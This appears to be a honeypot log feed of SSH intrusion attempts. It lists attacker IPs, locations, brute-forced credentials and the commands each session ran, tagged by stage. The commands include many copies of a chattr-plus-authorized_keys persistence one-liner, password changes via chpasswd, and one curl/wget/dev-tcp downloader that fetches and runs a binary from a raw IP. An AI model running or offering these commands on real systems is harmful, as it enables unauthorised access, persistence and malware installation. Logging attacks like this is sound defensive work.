$ busybox uname -s -v -n -m 2 > /dev/null ×3

$ ( [ -f /proc/version ] ×3

$ [ -f /proc/version ] ×3

$ head -1 /proc/version | cut -d -f1 ×3

$ [ -f /etc/os-release ] ×3

🎭 molten_abba_root (45.198.224.46) — Stockholm, Sweden · 49 sessions · 49 cmds

2026-06-18 00:23 EDT · as admin/123456, admin/admin, admin/admin123

echo

$ echo OK ×49

🎭 sneaky_dimsum_root (152.32.254.222) — Hong Kong, Hong Kong · 13 sessions · 13 cmds

2026-07-02 06:03 EDT · as admin/admin, admin/admin123, admin/password

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×13

🎭 zealous_seoul_root (47.80.20.223) — Seoul, South Korea · 32 sessions · 32 cmds

2026-07-02 05:48 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 rusty_lantern_root (180.184.176.148) — Haidian, China · 2 sessions · 2 cmds

2026-07-02 06:31 EDT · as guest/guest, root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 silent_moose_root (67.71.55.209) — North York, Canada · 1 session · 2 cmds

2026-07-02 06:20 EDT · as oracle/oracle@2025

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 molten_bamboo_root (27.71.230.31) — Hanoi, Vietnam · 9 sessions · 9 cmds

2026-06-23 18:25 EDT · as root/1234, root/123456, root/P@ssw0rd1!

ssh → OS/kernel identification → hostname discovery → uptime check → mount (repeated hostname discovery 4x)

$ ssh -V

$ uname -a ×2

↳ OS/kernel identification

$ hostname ×4

↳ hostname discovery

$ uptime

↳ uptime check

$ mount | head -5

🎭 glitchy_kopi_root (118.194.234.8) — Singapore, Singapore · 2 sessions · 4 cmds

2026-06-13 10:37 EDT · as oracle/Oracle@2024, oracle/oracle@2025

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 sneaky_neon_root (45.249.247.86) — Hong Kong, Hong Kong · 1 session · 2 cmds

2026-07-02 06:13 EDT · as oracle/oracle@2025

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 spectral_dimsum_root (103.43.191.43) — Kwai Chung, Hong Kong · 1 session · 2 cmds

2026-07-02 06:06 EDT · as oracle/oracle@2025

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 derelict_jollof_root (102.88.137.213) — Lagos, Nigeria · 1 session · 2 cmds

2026-07-02 04:13 EDT · as oracle/oracle123#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_nomad_root (201.184.50.251) — Bogotá, Colombia · 1 session · 2 cmds

2026-07-02 04:04 EDT · as oracle/oracle123#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_windmill_root (45.156.87.166) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-07-02 02:14 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 lurking_matador_root (200.234.227.140) — Barcelona, Spain · 8 sessions · 8 cmds

2026-07-01 00:37 EDT · as root/12345678, root/admin, root/toor

echo (repeated echo 4x)

$ echo SHELL_TEST ×8

🎭 jittery_void_root_5 (65.109.165.5) — Helsinki, Finland · 1 session · 2 cmds

2026-07-01 23:53 EDT · as oracle/1qaz!QAZ

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 savage_yankee_root_214 (43.162.108.214) — Santa Clara, United States · 1 session · 2 cmds

2026-07-01 23:34 EDT · as oracle/1qaz!QAZ

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 wily_windmill_root (2.57.122.209) — Amsterdam, The Netherlands · 3 sessions · 3 cmds

2026-07-01 22:40 EDT · as root/1234, root/123456, root/12345678

echo

$ echo $HOME ×3

🎭 venomous_silk_root (14.29.214.161) — Shenzhen, China · 1 session · 2 cmds

2026-07-01 22:28 EDT · as oracle/oracle2025

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 vapor_dragon_root_198 (120.230.180.198) — Guangzhou, China · 1 session · 20 cmds

2026-07-01 22:18 EDT · as oracle/oracle!

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "oracle!\ndVr84cg7iZr7\ndVr84cg7iZr7"|passwd|bash

$ Enter new UNIX password:

$ echo "oracle!\ndVr84cg7iZr7\ndVr84cg7iZr7\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 murky_panda_root_86 (103.236.75.86) — Beijing, China · 1 session · 5 cmds

2026-07-01 21:23 EDT · as root/123456

echo → payload download from C2 → execute from /tmp → '8

$ echo 1 > /dev/null && cat /bin/echo

$ nohup $SHELL -c "curl http://175.178.76.228:9726/linux -o /tmp/y7EMYxZy9x; if [ ! -f /tmp/y7EMYxZy9x ]; then wget http://175.178.76.228:9726/linux -O /tmp/y7EMYxZy9x; fi; if [ ! -f /tmp/y7EMYxZy9x ]; then exec 6<>/dev/tcp/175.178.76.228/9726 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/y7EMYxZy9x ; chmod +x /tmp/y7EMYxZy9x && /tmp/y7EMYxZy9x 9QB9E6Vuhr8nxS7EJaOEbK0MdwCMjw53Cad0jKEu2DPGLKmNaK0ddBKLlhVyE6FrkKAuxTrAIaGJeqUMdQ6MiA50C6N0jacszzjFILGPbaETdBeAlhdzE6ZohqsvwTLANqCObLoIcQ6KiBdrD6BshKcgxzHWJ6CPdKEEaxGPig53DaFgh6cmwiDCIb+PaqMTcxOWihZ/BaVoibEkxjLYJ6GLdKUFfA6JjRZ/BKZuibEkxDDYJ6eLdKwNaxKJiBp8DqNpnqUh2DLFL7+PY6UTdBePghZ3CqR6j6Mi2DLEJb+LbLoEcxqPjxZ3HaBtkKAnwC7HJKSQaawHfROKigB9DLptj78nzi7CIauGYqEIZRGLjA50CqF0iKc4xzLFLKmMbacddBCLlhJ2C7pti78uwDrAJqWMeqAKaxGIjw5zDrpoiKsuxzLBNqSGdKwKaxeJlhJxBa5tjaYv1jjHOKaOdKYFaxmBghh3C6B6j6An2DXPOKCJaLoPdRWCgRZ1CbRuib8kxTnYJ6iPdKUKchqOihd1HaBtkKMixS7EJqmQaaQHfROKgQBxBLpojaQ4xzbOOKCGaK4KchaOmBF3CbpojKA4wDjYJ6WOYKMFfBOYiRF0E6Zoh78nwC7EJ6SEba0PfQCJiRFrD6ZjkKAkwS7EJKGEY6YNdgCAiQ5yDbppjr8kxTbMIKOLarQMdRaWiRNrD6d0j6UvzDbOJ6iea6cEaxGBgQ50C6R0j6AgzDfCIaKea6cJaxGPjQ5zC7prjKIszjLBJUnqOVbnJPpsNQlu/yP9RH5za3zK8YOW; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/y7EMYxZy9x && /tmp/y7EMYxZy9x 9QB9E6Vuhr8nxS7EJaOEbK0MdwCMjw53Cad0jKEu2DPGLKmNaK0ddBKLlhVyE6FrkKAuxTrAIaGJeqUMdQ6MiA50C6N0jacszzjFILGPbaETdBeAlhdzE6ZohqsvwTLANqCObLoIcQ6KiBdrD6BshKcgxzHWJ6CPdKEEaxGPig53DaFgh6cmwiDCIb+PaqMTcxOWihZ/BaVoibEkxjLYJ6GLdKUFfA6JjRZ/BKZuibEkxDDYJ6eLdKwNaxKJiBp8DqNpnqUh2DLFL7+PY6UTdBePghZ3CqR6j6Mi2DLEJb+LbLoEcxqPjxZ3HaBtkKAnwC7HJKSQaawHfROKigB9DLptj78nzi7CIauGYqEIZRGLjA50CqF0iKc4xzLFLKmMbacddBCLlhJ2C7pti78uwDrAJqWMeqAKaxGIjw5zDrpoiKsuxzLBNqSGdKwKaxeJlhJxBa5tjaYv1jjHOKaOdKYFaxmBghh3C6B6j6An2DXPOKCJaLoPdRWCgRZ1CbRuib8kxTnYJ6iPdKUKchqOihd1HaBtkKMixS7EJqmQaaQHfROKgQBxBLpojaQ4xzbOOKCGaK4KchaOmBF3CbpojKA4wDjYJ6WOYKMFfBOYiRF0E6Zoh78nwC7EJ6SEba0PfQCJiRFrD6ZjkKAkwS7EJKGEY6YNdgCAiQ5yDbppjr8kxTbMIKOLarQMdRaWiRNrD6d0j6UvzDbOJ6iea6cEaxGBgQ50C6R0j6AgzDfCIaKea6cJaxGPjQ5zC7prjKIszjLBJUnqOVbnJPpsNQlu/yP9RH5za3zK8YOW" &

↳ payload download from C2

$ head -c 3716336 > /tmp/M2MklXSOqP

↳ execute from /tmp

$ echo 1 > /dev/null && cat /bin/echoQtd#0000

$ >A@/`'8

🎭 molten_burger_root_78 (165.22.134.78) — Santa Clara, United States · 1 session · 2 cmds

2026-07-01 20:16 EDT · as oracle/1qa2ws3ed

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 arctic_windmill_root (172.211.56.214) — Amsterdam, Netherlands · 1 session · 2 cmds

2026-07-01 20:11 EDT · as oracle/Abcd1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rusty_meatball_root (171.25.158.80) — Vaxjo, Sweden · 1 session · 2 cmds

2026-07-01 20:01 EDT · as oracle/Abcd1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_phantom_root (181.115.147.5) — Santa Cruz de la Sierra, Bolivia · 1 session · 2 cmds

2026-07-01 20:00 EDT · as oracle/1qa2ws3ed

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 scrappy_truck_root (110.38.234.222) — Lahore, Pakistan · 1 session · 2 cmds

2026-07-01 20:00 EDT · as oracle/1qa2ws3ed

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 savage_strudel_db (88.198.188.142) — Nuremberg, Germany · 1 session · 2 cmds

2026-07-01 19:44 EDT · as oracle/Abcd1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 midnight_lantern_root_93 (120.236.196.93) — Guangzhou, China · 1 session · 1 cmd

2026-07-01 19:39 EDT · as ubuntu/ubuntu

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 ashen_crepe_root_28 (87.106.47.28) — Paris, France · 1 session · 19 cmds

2026-07-01 17:04 EDT · as root/P@ssw0rd1!

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:bVUXnRziaqVp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 grumpy_liberty_root (69.229.227.44) — Pensacola, United States · 1 session · 2 cmds

2026-07-01 16:58 EDT · as oracle/Aa123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 zealous_acai_root (185.100.215.213) — Fortaleza, Brazil · 1 session · 2 cmds

2026-07-01 16:45 EDT · as oracle/Aa123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

